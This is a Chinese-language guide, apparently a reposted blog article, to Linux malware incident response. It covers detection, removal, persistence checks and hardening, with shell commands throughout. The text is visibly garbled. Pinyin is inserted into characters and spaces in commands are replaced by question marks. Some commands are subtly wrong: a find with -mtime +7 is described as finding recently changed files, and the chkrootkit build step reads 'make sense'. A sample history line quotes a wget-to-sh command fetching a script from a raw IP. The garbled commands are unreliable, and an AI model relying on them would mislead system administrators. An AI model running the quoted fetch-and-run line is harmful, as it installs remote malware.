留存?zhèn)溆?/span>
Linux環(huán)境下處理應(yīng)急響應(yīng)事件往往會更加的棘手,因?yàn)橄啾扔赪indows,Linux沒有像Autorun、procexp這樣的應(yīng)急響應(yīng)利器,也沒有統(tǒng)一的應(yīng)急響應(yīng)處理流程。所以,這篇文章將會對Linux環(huán)境下的應(yīng)急響應(yīng)流程進(jìn)行講解,并且提供每一個(gè)環(huán)節(jié)中所用到的shell命令,以幫助大家快速、系統(tǒng)化地處理Linux環(huán)境下的病毒。
處理Linux應(yīng)急響應(yīng)主要分為這4個(gè)環(huán)節(jié):
識別現(xiàn)象->清除病毒->閉環(huán)兜底->系統(tǒng)加固
首先從用戶場景的主機(jī)異?,F(xiàn)象出發(fā),先識別出病毒的可疑現(xiàn)象。
然后定位到具體的病毒進(jìn)程以及病毒文件,進(jìn)行清除。
完成前2步還不夠,病毒一般會通過一些自啟動項(xiàng)及守護(hù)程序進(jìn)行重復(fù)感染,所以我們要執(zhí)行閉環(huán)兜底確保病毒不再被創(chuàng)建。
將主機(jī)上的病毒項(xiàng)清除干凈后,最后就是進(jìn)行系統(tǒng)加固了,防止病毒從Web再次入侵進(jìn)來。
走完這4個(gè)環(huán)節(jié),才能算是一個(gè)應(yīng)急響應(yīng)流程的結(jié)束。
?
01 識別現(xiàn)象
?
第1個(gè)環(huán)節(jié)要求我們通過系統(tǒng)運(yùn)行狀態(tài)、安全設(shè)備告警,發(fā)現(xiàn)主機(jī)異?,F(xiàn)象,以及確認(rèn)病毒的可疑行為。
?
系統(tǒng)CPU是否異常
枚舉進(jìn)程,CPU降序排序:top
CPU占用率超過70%且名字比較可疑的進(jìn)程,大概率就是挖礦病毒了。
是否存在可疑進(jìn)程
枚舉進(jìn)程命令行:ps -aux
病毒一般都攜帶可疑的命令行,當(dāng)你發(fā)現(xiàn)命令行中帶有url等奇怪的字符串時(shí),就要注意了,它很可能是個(gè)病毒downloader。
安全網(wǎng)關(guān)有無報(bào)警
從安全網(wǎng)關(guān)報(bào)警中識別出威脅是最直接,但確認(rèn)主機(jī)已經(jīng)感染了病毒只是第一步,接下來得定位,具體是哪個(gè)進(jìn)程在與C&C通信。
監(jiān)控與目標(biāo)IP通信的進(jìn)程:
while?true;?do?netstat?-antp?|?grep?[ip];?done
有時(shí)安全網(wǎng)關(guān)檢測到的不全是惡意IP,還有可能是個(gè)域名,這種情況下,域名對應(yīng)的IP是變化的,我們不能直接用上述方法進(jìn)行監(jiān)控。
我們可以先在host文件中添加一條規(guī)則,將惡意域名重定向到一個(gè)隨機(jī)的IP地址,然后對其進(jìn)行監(jiān)控。
這樣就能得到與之通信的惡意進(jìn)程了。
有無可疑歷史命令
遍歷主機(jī)歷史命令,查找有無惡意命令:history
?
02 清除病毒
?
從第1個(gè)環(huán)節(jié)追溯到的進(jìn)程信息,將會幫助我們定位到病毒進(jìn)程&病毒文件,實(shí)現(xiàn)清除。
結(jié)束病毒進(jìn)程
清除可疑進(jìn)程的進(jìn)程鏈:
ps?-elf?|?grep?[pid]
kill?-9?[pid]
刪除病毒文件
定位病毒進(jìn)程對應(yīng)的文件路徑:
ls?-al?/proc/[pid]/exe
rm?-f?[exe_path]
?
03 閉環(huán)兜底
?
檢查是否存在可疑定時(shí)任務(wù)
枚舉定時(shí)任務(wù):
crontab?-l
查看anacron異步定時(shí)任務(wù):
cat?/etc/anacrontab
檢查是否存在可疑服務(wù)
枚舉主機(jī)所有服務(wù),查看是否有惡意服務(wù):
service?--status-all
檢查系統(tǒng)文件是否被劫持
枚舉系統(tǒng)文件夾的文件,按修改事件排序查看7天內(nèi)被修改過的文件:
find?/usr/bin/?/usr/sbin/?/bin/?/usr/local/bin/?-type?f?-mtime?+7?|?xargs?ls?-la
檢查是否存在病毒守護(hù)進(jìn)程
監(jiān)控守護(hù)進(jìn)程的行為:
lsof?-p?[pid]
strace?-tt??-T?-e??trace=all??-p?$pid
掃描是否存在惡意驅(qū)動
枚舉/掃描系統(tǒng)驅(qū)動:lsmod
安裝chkrootkit 進(jìn)行掃描:
wget?ftp://ftp.pangeia.com.br/pub/seg/pac/chkrootkit.tar.gz
tar?zxvf?chkrootkit.tar.gz
cd?chkrootkit-0.52
make?sense
./chkrootkit
安裝rkhunter 進(jìn)行掃描:
Wget?https://nchc.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.4/rkhunter-1.4.4.tar.gz
tar?-zxvf?rkhunter-1.4.4.tar.gz
cd?rkhunter-1.4.4
./installer.sh?--install
rkhunter?-c
?
04 系統(tǒng)加固
?
最后一個(gè)環(huán)節(jié)往往是大家比較容易遺忘的,Linux平臺下90%的病毒是通過網(wǎng)絡(luò)傳播感染的,所以,你的主機(jī)之所以會感染病毒,大部分原因也是因?yàn)閃eb安全防護(hù)不夠,趕緊檢查一下。
?
修改SSH弱密碼
查詢log主機(jī)登陸日志:
grep?"Accepted?"?/var/log/secure*?|?awk?'{print?$1,$2,$3,$9,$11}'
定位有爆破的源IP:
grep?"Failed?password"?/var/log/secure|grep?-E?-o?"(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?).(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq?-c
爆破日志的用戶名密碼:
grep?"Failed?password"?/var/log/secure|perl?-e?'while($_=<>){?/for(.*?)?from/;?print?"$1
";}'|uniq?-c|sort?-nr
SSH爆破是Linux病毒最常用的傳播手段,若存在弱密碼的主機(jī)很容易被其他感染主機(jī)SSH爆破成功,從而再次感染病毒。
添加命令審計(jì)
為歷史的命令增加登錄的IP地址、執(zhí)行命令時(shí)間等信息:
保存1萬條命令:
sed?-i?'s/^HISTSIZE=1000/HISTSIZE=10000/g'?/etc/profile
在/etc/profile的文件尾部添加如下行數(shù)配置信息:
USER_IP=`who?-u?am?i?2>/dev/null?|?awk?'{print?$NF}'?|?sed?-e?'s/[()]//g'`
if?[?"$USER_IP"?=?""?]
then
USER_IP=`hostname`
fi
export?HISTTIMEFORMAT="%F?%T?$USER_IP?`whoami`?"
shopt?-s?histappend
export?PROMPT_COMMAND="history?-a"
讓配置生效:
source?/etc/profile
生成效果:
76??2019-10-28?1734?113.110.229.230?wget?-q?-T180?-O-?http://103.219.112.66:8000/i.sh)?|?sh
打上常見Web漏洞補(bǔ)丁
structs2系列RCE漏洞
thinkphp5.X RCE漏洞
Redis未授權(quán)訪問漏洞
Confluence RCE漏洞(CVE_2019_3396)
Drupal RCE漏洞(CVE-2018-7600)
ThinkPHP RCE漏洞(CVE-2019-9082)
結(jié)尾
Linux平臺下的惡意軟件威脅以僵尸網(wǎng)絡(luò)蠕蟲和挖礦病毒為主,由于Linux大多作為服務(wù)器暴露在公網(wǎng),且Web應(yīng)用的漏洞層出不窮,所以很容易被大范圍入侵,如常見的病毒:DDG、systemdMiner、BillGates、watchdogs、XorDDos,在很多Linux上都有。大家要養(yǎng)成不使用弱密碼、勤打補(bǔ)丁的好習(xí)慣。
審核編輯:湯梓紅
?
評論